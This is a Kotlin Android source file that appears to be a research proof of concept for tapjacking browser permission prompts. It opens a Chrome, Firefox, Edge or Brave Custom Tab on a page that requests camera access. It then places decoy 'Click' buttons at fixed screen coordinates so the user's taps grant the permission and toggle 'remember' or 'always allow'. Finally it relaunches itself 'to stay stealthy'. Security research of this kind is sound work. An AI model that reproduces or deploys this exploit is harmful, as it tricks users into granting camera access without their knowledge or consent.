package com.beerphilipp.tapjacking.browser
import android.app.AlertDialog
import android.content.Intent
import android.graphics.Color
import android.net.Uri
import android.os.Bundle
import android.os.Handler
import android.widget.Button
import android.widget.Toast
import androidx.appcompat.app.AppCompatActivity
import androidx.browser.customtabs.CustomTabsIntent
import androidx.constraintlayout.widget.ConstraintLayout
var chrome = "com.android.chrome"
var firefox = "org.mozilla.firefox"
var edge = "com.microsoft.emmx"
var brave = "com.brave.browser"
var browserPackageNames = arrayOf(chrome, brave, firefox, edge)
var selectedBrowser = ""
var selectedBrowserIndex = -1
/**
* Main activity that allows the user to select a browser and open a custom tab with a test page requesting camera permission.
*/
class MainActivity : AppCompatActivity() {
private fun saveSelectedIndex(index: Int) {
val sharedPreferences = getSharedPreferences("prefs", MODE_PRIVATE)
sharedPreferences.edit().putInt("selected_browser_index", index).apply()
}
private fun getSavedSelectedIndex(): Int {
val sharedPreferences = getSharedPreferences("prefs", MODE_PRIVATE)
return sharedPreferences.getInt("selected_browser_index", -1)
}
override fun onCreate(savedInstanceState: Bundle?) {
overridePendingTransition(0, 0)
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
val openCTButton = findViewById<Button>(R.id.openCT)
val button = Button(this)
button.text = "Click"
button.setBackgroundColor(Color.RED)
findViewById<ConstraintLayout>(R.id.mainLayout).addView(button)
button.visibility = Button.INVISIBLE
val button2 = Button(this)
button2.text = "Click"
button2.setBackgroundColor(Color.RED)
button2.visibility = Button.INVISIBLE
findViewById<ConstraintLayout>(R.id.mainLayout).addView(button2)
getSavedSelectedIndex().let {
if (it != -1) {
selectedBrowserIndex = it
selectedBrowser = browserPackageNames[selectedBrowserIndex]
openCTButton.text = "Open $selectedBrowser"
CustomTabHelper.getInstance().bindCustomTabService(this, selectedBrowser)
}
}
findViewById<Button>(R.id.chooseBrowser).setOnClickListener {
val builder: AlertDialog.Builder = AlertDialog.Builder(this)
builder.setTitle("Choose a browser")
.setSingleChoiceItems(browserPackageNames, getSavedSelectedIndex()) { dialog, which ->
val selectedValue = browserPackageNames[which]
selectedBrowser = selectedValue
selectedBrowserIndex = which
saveSelectedIndex(selectedBrowserIndex)
openCTButton.text = "Open $selectedValue"
CustomTabHelper.getInstance().bindCustomTabService(this, selectedValue)
dialog.dismiss()
}
builder.create().show()
}
findViewById<Button>(R.id.openCT).setOnClickListener {
if (selectedBrowser == "") {
Toast.makeText(this, "Please select a browser", Toast.LENGTH_SHORT).show()
return@setOnClickListener
}
val handler = Handler()
val builder = CustomTabsIntent.Builder()
builder.setStartAnimations(this, R.anim.fade_in, R.anim.fade_out)
val customTabsIntent = builder.build()
customTabsIntent.intent.`package` = selectedBrowser
customTabsIntent.launchUrl(this, Uri.parse("https://webrtc.github.io/test-pages/src/iframe-video/"))
handler.postDelayed({
when (selectedBrowser) {
"com.android.chrome" -> {
button.visibility = Button.VISIBLE
button.x = 750f
button.y = 1300f
}
"org.mozilla.firefox" -> {
// by default, Firefox only saves the permission result for the current session
// for persistency, enable the "Remember this decision" checkbox first
button.visibility = Button.VISIBLE
button.x = 260f
button.y = 2050f
// wait 1s to give the user time to click the checkbox
handler.postDelayed({
button.visibility = Button.INVISIBLE
button2.visibility = Button.VISIBLE
button2.x = 800f
button2.y = 2150f
}, 1000)
}
"com.microsoft.emmx" -> {
button.visibility = Button.VISIBLE
button.x = 775f
button.y = 1290f
}
"com.brave.browser" -> {
// by default, brave only saves the permission result for the current session
// for persistency, toggle the 'always allow' switch first
button.visibility = Button.VISIBLE
button.x = 50f
button.y = 1360f
// wait 1s to give the user time to toggle the switch
handler.postDelayed({
button.visibility = Button.INVISIBLE
button2.visibility = Button.VISIBLE
button2.x = 780f
button2.y = 1500f
}, 1000)
}
}
}, 500)
// after about 2.7 seconds, re-open the PUA activity to stay stealthy
handler.postDelayed({
button.visibility = Button.INVISIBLE
button2.visibility = Button.INVISIBLE
val intent2 = Intent(this, MainActivity::class.java)
// start with no animations
intent2.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION)
startActivity(intent2)
}, 2700)
}
}
}